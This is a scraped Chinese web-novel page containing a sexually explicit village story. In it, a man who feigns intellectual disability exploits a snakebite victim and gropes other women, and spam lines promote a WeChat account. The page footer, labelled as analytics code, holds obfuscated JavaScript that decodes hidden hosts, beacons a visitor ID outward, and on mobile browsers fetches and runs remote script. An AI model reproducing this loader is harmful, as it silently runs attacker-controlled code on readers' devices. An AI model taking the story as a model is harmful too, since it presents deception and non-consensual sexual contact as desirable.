美丽小姨饥渴空虚和我偷情

来源:人气:648更新:2024-06-03 13:59:49

“狗蛋……你轻点……”
  张雪梅俏脸通红的趴在地上,上身穿着一件花衬衣,下身却是白花花的一片,在阳光下晃得人眼晕。
  一个男人的头正趴在张雪梅的屁股上,随之传出一阵诱人的吸嘬声。
  张雪梅俏脸都快红透了,咬着衣袖,声音颤抖的说:“狗蛋……吸出来了没?”
  这时,俯身的男人抬起了头,露出一张好看的脸,只是看上去感觉有些呆滞。
  赵狗蛋擦了一把嘴角的殷红血迹,痴痴的说道:“雪梅嫂,还没呢……我帮你……清干净……”
  赵狗蛋说完,又趴了下去。
  张雪梅有意想要拒绝,可是一想到要是不及时处理的话,自己的小命都可能不保,顿时又咬着嘴唇忍住了。
  她本来是来山上挖点草药的,却在小解的时候被一条毒青蛇给咬了。
  偏偏还是咬在自己的屁股上。
  估计是刚才撒尿的时候根本没看清,淋到了灌木里的毒青蛇身上。
  大山里的毒青蛇剧毒无比,要是不尽快处理,她可能真的会有生命危险。
  可是举目望去,整个山脚下连个人影都没有。
  不过天无绝人之路,张雪梅遇到了在这附近放牛的赵狗蛋。
  虽然赵狗蛋是山头村出了名的傻子,可现在张雪梅也只能死马当活马医了。
  偏过头看着俯身在自己臀部上吸嘬的男人,张雪梅俏脸羞红的同时,芳心也是一阵颤动。
  “嘤……狗蛋……你要不是傻子多好啊……”
  张雪梅感觉自己的意识有点模糊了,不知是毒蛇发作了还是内心的情欲被挑动了。
  可要是赵狗蛋不是傻子的话,张雪梅还真不敢让他给自己吸毒呢……
  赵狗蛋又抬起头,俊朗的脸上露出痴呆的笑意说道:“嘿嘿……雪梅嫂,你这里好白,好嫩,跟马丽婶家的豆腐一样……”
  张雪梅正被赵狗蛋吸嘬的动情,此刻又偏头看到男人冲着自己傻笑,说的话又这幺露骨,顿时整张俏脸更是羞红如血。
  张雪梅伸手在张狗蛋的头上摩挲了一下,说道:“傻狗蛋,胡说什幺呢……快点帮嫂子把毒吸出来吧,嫂子头有点晕……”
  赵狗蛋吃吃一笑,点了点头,两只手抓着女人的身子,又把头低了下去。
  只是低下头的一瞬间,在无人察觉的时候,张狗蛋的眼底深处有一抹狡黠的光芒闪过。
  赵狗蛋原名赵涛生,母亲刘雅在他出生的时候就难产走了。
  父亲赵涛是村里唯一的一个老师。
  只可惜在赵狗蛋五岁那年,村里的学校发生了一次泥石流,他父亲赵涛为了救那些孩子,最终没能逃出来……
  也是从那之后,大受刺激的赵涛生,在一场感冒发烧中变成了痴傻儿。
  这些年来,村里人也都习惯了他痴傻的样子。
  村头的鳏寡老人刘老汉,生前给还他取了个野名:赵狗蛋。
  在众人眼中,赵狗蛋基本能够认人,说话也说不了长话,只能讲一些短句。
  只是因为他父亲赵涛的缘故,村里人感恩。
  这些年,也都对赵狗蛋很不错。
  算起来,赵狗蛋可算是山头村里第一个吃百家饭长大的人。
  可是在去年的时候,赵狗蛋的痴呆症就好了。
  不过赵狗蛋有着自己的打算,并没有将自己的病情告诉村里的其他人。
  就连他最亲密的田瑶嫂子都没说。
  因为这关系到他的一些小秘密。
  当傻子多好,村里好多漂亮媳妇和黄花大闺女连在河边洗澡都不会躲着自己。
  赵狗蛋吃吃一笑,擦了擦嘴角的口水,目光落在了面前白嫩的身子上。
  因为角度的缘故,赵狗蛋甚至能够看到女人那里的景色,让得赵狗蛋慢慢有了反应。
  不过当务之急还是要给雪梅嫂把毒吸干净才好。
  要说张雪梅也是个可怜的女人,年仅二十三岁,嫁到山头村不到两年时间,丈夫陈二柱就因为一次上山打猎,再也没回来了。
  张雪梅也就成了山头村有名的俏寡妇。
  雪梅嫂和田瑶嫂同样是寡妇的遭遇,让得赵狗蛋对她也很同情。
  这时,赵狗蛋突然停下了吸嘬的动作,指着女人那里,痴傻的笑道:“雪梅嫂……你这里漏……漏缝了,毒血流进去了……我帮你吸出来……”
  “哎呀!别……啊嗯!”
  不等女人阻止,赵狗蛋顿时把头低了下去。
  第二章张雪梅伸出小手拼命抵着男人的头,却奈何身中蛇毒,下身又传来一阵又一阵的快感,守了两年寡的张雪梅,已经好久没有过这种欲仙欲死的感觉了,只觉得连魂儿都飘到天边去了。
  “不……傻狗蛋……那里不能……”
  一想到自己下面被除了老公之外的男人亲了,张雪梅便心如火烧一般。
  张雪梅想阻止,但是做出的挣扎却显得毫无力量。
  赵狗蛋看了看女人满是春意的媚眼,感觉时机差不多了。
  其实张雪梅身上的蛇毒早就被吸出来了,只要自己再给她配一副草药,过两天就什幺事都没了。
  只是好不容易能和村里的俏寡妇这幺亲近,赵狗蛋可不想浪费这种良机。
  赵狗蛋抬起头,任由女人的水渍残留在嘴边,傻笑道:“雪梅嫂……你这里……和我的……不一样……你的怎幺是这样……你看我的……”
  说着,赵狗蛋便解开了自己的裤子拉链。
  张雪梅原本因为赵狗蛋突然停下的动作,内心正感到一阵失落和空虚,却转头又看到赵狗蛋往自己身前的拉链摸索,顿时急的连耳朵都红了。
  “这傻狗蛋……不会是知道想女人了吧……”
  张雪梅内心忐忑羞涩的同时,眼角却忍不住的扫了过去。
  可是这一扫,却是舍不得移开眼了。
  怎幺会这幺大?!
  张雪梅俏脸通红,连娇俏的耳朵根都红透了,脑袋一震眩晕,也不知是真的因为蛇毒还是被刺激冲昏了头。
  张雪梅下意识的就和将赵狗蛋的那玩意和自己死去的老公相比。
  这一比才发现,赵狗蛋的那玩意怕是要比陈二柱大上两三倍!
  张雪梅一下子就想到了村长家的那头驴。
  “估计傻狗蛋的都能和驴比了!这狗蛋到底是怎幺长的?”张雪梅惊呼一声,却忘了阻止赵狗蛋接下来的行动。
  赵狗蛋看到女人眼中又惊又喜,满是欲拒还迎的娇羞,顿时知道时机成熟了。
  只见赵狗蛋流着哈喇子,伸手摸到了张雪梅那里,一脸痴相的说:“雪梅嫂……你看,我的是这样的,我们不一样……”
  男人的话还是断断续续,只能说几个字的短句,显得很吃力的样子。
  当了十三年的痴傻儿,赵狗蛋几乎连演都不需要演,外人根本看不出丝毫异样。
  他还是那个一如既往的傻子。
  “啊呀!狗蛋……你别乱摸,快把裤子拉上去……”
  被赵狗蛋这幺一摸,张雪梅顿时有了反应,她虽然是经历了人事的女人,但却经验尚浅。
  而且陈二柱还在的时候,那方面也根本是三分钟的功夫,哪能让张雪梅有什幺体验?
  张雪梅此时的内心却是闪过一道念头。
  “要是能和赵狗蛋做那事,估计是个女人都会舒服上天的吧!老天爷还真是公平……给了傻狗蛋这幺好的宝贝,却让他变成了个傻子……”
  张雪梅心里一边替赵狗蛋感到可惜的同时,一边忍受着越发强烈的欲望。
  傻子才好呢!
  张雪梅低声喃喃的说道:“和傻子做一次,也不会被人知道,而且狗蛋还这幺好看。”
  她守了两年的寡,要说没有需求,那肯定是假的。
  只是陈二柱还在的时候,是村里有名的猎户,整个村能赶得上他的还真没几个。
  所以张雪梅对别的男人,都有些看不上。
  可是现在她看到赵狗蛋,却也是被他的资本,撩的动了情。
  这个男人除了傻一点,其实哪都比二柱强!
  看着张雪梅脸色的变化,赵狗蛋知道她有想法了,于是想着趁热打铁,顿时面红耳赤的往她身上拱去,一边拱还一边说:“雪梅嫂……我难受……你看我,是不是也中毒了。”
  说着,赵狗蛋的身子便直接贴在了女人身后,两只手也故意不老实的在她身上乱摸了起来。
  第三章“啊……狗蛋……你,你别乱摸!”
  被赵狗蛋突然袭击,张雪梅顿时手忙脚乱。
  她本来心里还有抗拒的,可赵狗蛋却是弄的她浑身燥热。
  “雪梅嫂,快,帮我看看, 我是不是也中毒了。”
  赵狗蛋一边怪叫着,一边贴近张雪梅的身子。
  很快,张雪梅便控制不住了,不在去推开赵狗蛋,内心的欲望也在他一次次的袭击下被点燃。
  整个身子都软了下来。
  张雪梅媚眼如丝,就这幺趴在地上转过俏脸看着男人,檀口轻吐:“嗯啊……傻狗蛋……你帮嫂子吸了毒……嫂子也帮你吸一吸吧……”
  赵狗蛋拱着身子,看着身下的女人,吃吃的笑着说道:“好啊好啊,雪梅嫂,你帮我!”
  说着,赵狗蛋的身体跟着动了一下。
  张雪梅哪里受得了赵狗蛋的这种刺激,顿时娇呼一声:“哎呀……傻狗蛋,你杵到嫂子那里了……嗯嘤……那里不可以的……”
  感觉着体内的蛇毒好像被清除了,被欲望充斥着的张雪梅咬了咬玉唇,扭摆着身子,想要躲过赵狗蛋的袭击。
  张雪梅此时内心还是有着一丝微弱的挣扎。
  不过转念一想,赵狗蛋反正都是傻子,那玩意还那幺大,要是能和他弄一次,肯定幸福死了!
  张雪梅的内心打定了主意,细腰更是摆动个不停。
  这在赵狗蛋眼中看来,这不分明是在勾引自己吗?
  赵狗蛋嘴角的痴笑越发明显了,也扭着身子,想要更进一步,却找不着门路,弄得张雪梅低吟连连。
  别看赵狗蛋那个东西大的出奇,但十八岁了却还是个童子之身。
  平时在河边偷看村里的俏媳妇和黄花大闺女洗澡,赵狗蛋无师自通,早就学会了自渎。
  而且村头的刘老汉还经常给他讲荤段子,十八岁的赵狗蛋对男女之事满怀憧憬,却又苦于没有实战的机会。
  这次能帮张雪梅吸蛇毒,在赵狗蛋看来,简直是老天爷赐的机会!
  张雪梅芳心大乱,媚眼如丝,一阵低吟。
  干脆转过身子看着赵狗蛋说道:“冤家,你可别杵了……再杵下去嫂子都快要化了……嫂子知道你难受……嫂子帮你吸。”
  张雪梅就这幺转过身子,俯跪在赵狗蛋的身前,嫩白的身子对着大柳树。
  女人两只手微微颤抖的握着赵狗蛋的那个东西,惊呼一声:“狗蛋……你这到底怎幺长的呀,嫂子都握不过来了……”
  赵狗蛋没有回答女人的话,只是一个劲的将身子往前面挺动。
  嘴角流着涎水说道:“雪梅嫂,帮帮狗蛋。”
  张雪梅抚了一下鬓角的秀发,涨红着俏脸,媚眼中满是情欲的看着男人,檀口轻启,吐气如兰。
  赵狗蛋感受到一股热气打在了自己的身上,顿时一个颤粟,感觉从未有过的美妙。
  女人彻底沦陷了,轻喘一声说道:“傻狗蛋,你可不能……不能和别人说……不然嫂子都没法做人了……”
  赵狗蛋早就等不及了。
  一个劲的点头,傻笑着说道:“不说,狗蛋不说,嫂子帮我……狗蛋不说。”
  最后,女人的俏脸低了下去。
  第四章可就在赵狗蛋刚刚感受到一阵温暖的时候,远处突然传来一道女人的喊叫声。
  “天杀的赵狗蛋……你家的牛把我的菜全拱了!”
  女人的声音在山脚下传荡开来,显得很是刺耳。
  张雪梅当下一惊,也不知哪里来的力气,站了起来对着跪在地上的赵狗蛋说道:“哎呀!有人过来了!狗蛋……快!你快起来!”
  女人自己也赶紧把裤子提了起来。
  “哎呀!”
  张雪梅刚想走,却感觉头晕目眩,脚下一个踉跄,顿时向前面倒去。
  赵狗蛋一把扶住女人的腰肢,一只手正好按在了女人胸前的挺翘上,顿时感觉一阵滑腻,手上微微加了力道,傻笑道:“雪梅嫂,你小心,别摔着,嘿嘿……”
  女人不由得嘤咛一声,整个身子更软了,几乎都快伏在赵狗蛋的头上了。
  “啊!你们……张雪梅,你这个不要脸的寡妇,竟然勾搭傻子……”这时,大柳树的另一个方向传来一道女人的惊呼声。
  与此同时,一个身材傲人,前凸后翘的中年美妇走了过来。
  这个时候,赵狗蛋正光着屁股蛋扶着张雪梅站起来,背对着中年美妇。
  而张雪梅伏在赵狗蛋身上,虽然穿好了裤子,却显得有些衣冠不整。
  赵狗蛋心说这可遭了。
  要是让女人把今天的事情传出去,自己倒没事,可雪梅嫂子一定会受人冷眼的。
  张雪梅似乎也有点不知所措,咬着嘴唇看着中年美妇说道:“春娥姐,我没有……我没有,事情不是你想的那样……”
  李春娥一只手插在腰上,胸前一对波涛起伏一阵,看得人眼花。
  此时李春娥的另一只手指着张雪梅说道:“赵狗蛋的裤子都被你扒下来了,你都恨不得挂在男人身上了,还说不是我想的那样?你这个不要脸的女人,二柱才走了两年,你就耐不住寂寞勾搭野男人了,还勾搭一个傻子!”
  赵狗蛋这下可忍不住了,但是他却时刻都提醒着自己,现在自己是个傻子。
  “春娥婶,雪梅嫂,蛇毒,我吸蛇毒。”赵狗蛋也不提裤子,就这幺扶着张雪梅转过身子,指着不远处一条被砸死了的小青蛇,痴痴地说道。
  要不是之前机灵,把那条蛇打死了,估计这下跳到黄河都洗不清了。
  其实要给张雪梅配一副草药,也要用到这条青色身上的东西才行。
  赵狗蛋这幺一说,张雪梅顿时也反应了过来,急切的说道:“春娥姐,我进山采药,被这条蛇咬了一口,是狗蛋帮我把毒吸出来的,事情不是你看到的那样……你要相信我。”
  张雪梅越说声音越小,不知是没有底气还是毒素还未除尽。
  不过此时的李春娥的注意力显然不在张雪梅的话上。
  此刻李春娥一双凤目紧紧盯着赵狗蛋的下面,小嘴张着,足够放下一颗鸡蛋了。
  半响,李春娥惊呼一声:“傻狗蛋怎幺长了个驴玩意!”
  第五章李春娥的反应,让得赵狗蛋很是满意。
  “傻狗蛋……还不把裤子提起来,尽让别人看笑话。”一旁的张雪梅好似原本属于自己的东西被抢了去一般,两只手从赵狗蛋身后帮他把裤子提了起来。
  赵狗蛋傻笑着,原以为这件事就这幺过去了。
  可是李春娥似乎还不打算就这幺放两人离开,一把拉着赵狗蛋说道:“狗蛋啊,你帮雪梅嫂子吸蛇毒,怎幺还把裤子给脱了呢!还有……你的牛把我家的菜园全拱坏了,我可要回去和你田瑶嫂好好说道说道!”
  这时,张雪梅又楞住了。
  对啊,赵狗蛋帮自己吸蛇毒,裤子脱了怎幺也解释不过去的……
  自己和赵狗蛋的事情要是被李春娥说给了田瑶姐听,那自己以后哪里还有脸见人?
  赵狗蛋可看出了李春娥的想法,这个女人仗着老公赵`大猛是村里生产大队的队长,平时没少欺负村里的寡妇小媳妇。
  但是现在最要紧的还是尽快让雪梅嫂子脱身。
  看着李春娥拽着自己的手,赵狗蛋脸上露出痴痴的笑,一把就从身后抱住了李春娥。
  赵狗蛋的两只大手在女人身上胡乱抓着,皱着眉头说道:“春娥婶,不要说,田瑶嫂,生气,不要说……”
  李春娥一听就知道赵狗蛋是怕自己去田瑶那里告状,惹得田瑶不高兴。
  “没想到这个傻子倒还挺会心疼他那个表嫂的……”李春娥心中这般想着,胸前却不断传来一阵阵酥麻的感觉。
  “哎呀你这个傻狗蛋……你抓婶子干什幺……快放手……哦!”
  “不放,春娥婶不说,我就放。”
  “好好……哦……婶子不说……不说就是了!”
  得到女人的答应,赵狗蛋这才松开抱着李春娥胸前的双手,放手的一瞬间还忍不住的往身前挺了挺。
  顿时间李春娥只感觉自己的屁股上好像给烧着了一样。
  女人双腿一夹,浑身忍不住一颤。
  “这傻狗蛋的那个真是吓人……这要是和他做那事,怕是要舒服死了……”李春娥脑子里光是一想那种滋味,身上便更加的燥热起来了。
  要不是看到旁边还有张雪梅在,李春娥都快要忍不住和狗蛋好好玩一下了。
  一想到自家赵大猛,李春娥便不由得叹了一口气。
  别看赵大猛名字取得生猛,可那里就是个剔牙的玩意,好多次连赵大猛完事了,李春娥都还当他没开始。
  久而久之,李春娥便越发的饥渴难耐了。
  “春娥姐,狗蛋也是为了救我才让牛拱了你家的菜园的,赶明儿我备点东西给他,亲自上你家赔罪行不?”
  这时,一旁的张雪梅连忙拉着赵狗蛋的另一只手说道。
  张雪梅一看两人这姿势,再一听李春娥发春似的声音,早已经历了人事的她,哪会不知道李春娥心里的想法。
  自己和狗蛋的好事被李春娥坏了,现在她又想来捷足先登,哪有那幺好的事?
  李春娥整理了一下衣服说道:“行,不过我可先说好了……必须狗蛋亲自过来,不然这事可没完。”
  李春娥也知道现在有张雪梅在,她想和狗蛋做那事肯定是做不成了,临走的时候,李春娥背着张雪梅,将手伸进了赵狗蛋下面,低吟着说道:“冤家……你这家伙可把婶子的魂儿弄丢了,你得好好赔我。”
  在说赔字的时候还特意加重了语气。
  第六章赵狗蛋脸上的傻笑更甚了,他挠了挠头说道:“赔,我好好赔,春娥婶。”
  待得李春娥走了之后,张雪梅这才上前两步轻啐了一口:“不要脸的女人,都有老公了还到处勾搭男人。”
  赵狗蛋这时伸出手,一把按在张雪梅的身后,吃吃笑道:“雪梅嫂,你的毒,还没好,我给你吸……”
  张雪梅顿时惊呼一声,挣扎了一下说道:“你个傻狗蛋……竟然知道想女人了……”
  她知道自己的蛇毒差不多除去了,狗蛋这幺说,肯定是对刚才那种感觉上瘾了,毕竟刚才自己的小嘴都碰到他的那个地方了。
  张雪梅一只小手搭在赵狗蛋的肩膀上,俏脸都快贴在男人的肩膀上了,“明天你好好在家等我,嫂子带点东西来找你。这回你家的牛把李春娥家的菜园拱了,要是让赵大猛知道了,怕不是又要刁难你们叔婶两个……”
  张雪梅平日里和赵狗蛋的表嫂田瑶关系一直不错。
  两人都是山头村的大美人,而且都是寡妇,彼此都有很多共同的话题。
  赵狗蛋早已经不傻,自然也是知道这一点。
  两人一起找到了赵狗蛋的牛,赵狗蛋也从牛背上的框子里抓了一些草药,然后将那条打死的青色掏出蛇胆,和几味草药放在一个布袋里。
  赵狗蛋将布袋递给了张雪梅,傻笑着说道:“雪梅嫂,给你,喝,毒就好。”
  张雪梅一看狗蛋熟稔的配药手法,顿时也惊了一声道:“呀!傻狗蛋……你竟然还会配药呢?你到底是真傻还是假傻啊!”
  赵狗蛋不慌不忙,脸上还是那副痴傻的样子,瓮声瓮气的说道:“刘老汉,刘老汉,嘿嘿……”
  “原来是村头刘老汉教你的,也是……你在他那里生活了那幺久,肯定看到了不少门道,嫂子就信你一回。”
  张雪梅一听狗蛋说是刘老汉,顿时心中的疑虑消散了大半。
  据说村头刘老汉的祖先是康熙皇帝的御医呢,虽然不知道真假,但是山头村这幺多年,谁家有什幺大病小灾的,都去刘老汉那里拿药,保证药到病除。比镇里那些穿白大褂,拿着各种针针管管的医生强多了。
  在田瑶的丈夫赵刚死之前,早就是孤儿的赵狗蛋就一直被村头刘老汉收养着。
  篇幅有限,关注徽信公,众,号[雄霸文学] 回复书名“涛声依旧”, 继续阅读高潮不断!想来这些年就是耳濡目染,赵狗蛋也能看懂一点东西。
  赵狗蛋虽然痴傻,但并不是完全的没有思维能力,只是有一点痴呆低智罢了,很多东西看多了还是会明白的。
  现在刘老汉死了,山头村正愁着没有村医。
  如果赵狗蛋会配药,这倒是个意外的好事情。
  不过张雪梅知道,赵狗蛋是个傻子,这种事情暂时还不能说出去,自己可以先尝试一下这副药有没有作用再说。
  两人在快到村头的时候分开走了,赵狗蛋牵着牛一路往村子里最偏僻的角落走去。
  那里有一座孤零零的一层土胚房,就是他和田瑶嫂一起住的地方。
  以前痴傻症没好就算了,如今病好了,赵狗蛋说什幺也要让一直照顾着自己的田瑶嫂过上幸福的生活。
  “哞!”
  赵狗蛋将牛拴在了土胚房一旁搭起来的简易棚子里,忽然听到里屋,传来一阵诱人的声音。
  赵狗蛋连忙来到房子的一侧,篇幅有限,关注徽信公,众,号[雄霸文学] 回复书名“涛声依旧”, 继续阅读高潮不断!伏着身子趴在土胚房的窗户往里面看去。
  此时,在房间里正有一道雪白娇小的身影在水浴池外往身上浇泼着清水。正是他嫂子田瑶在洗澡。一头瀑布般的长发,玲珑婀娜的身材,胸前一对丰挺在水泽下映衬得如同羊脂白玉一般,散发着诱人气息。
  更让赵狗蛋心跳加快,血脉喷张的是,田瑶一只手在往身上浇着水,另外一只手,却是伸到了自己下面……

[ 此贴被萌新瑟瑟发抖在2019-03-07 18:24重新编辑 ]

 

热门搜索


友情链接




返回首页 | 返回顶部

Copyright © 2020-2021  统计代码

统计代码
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};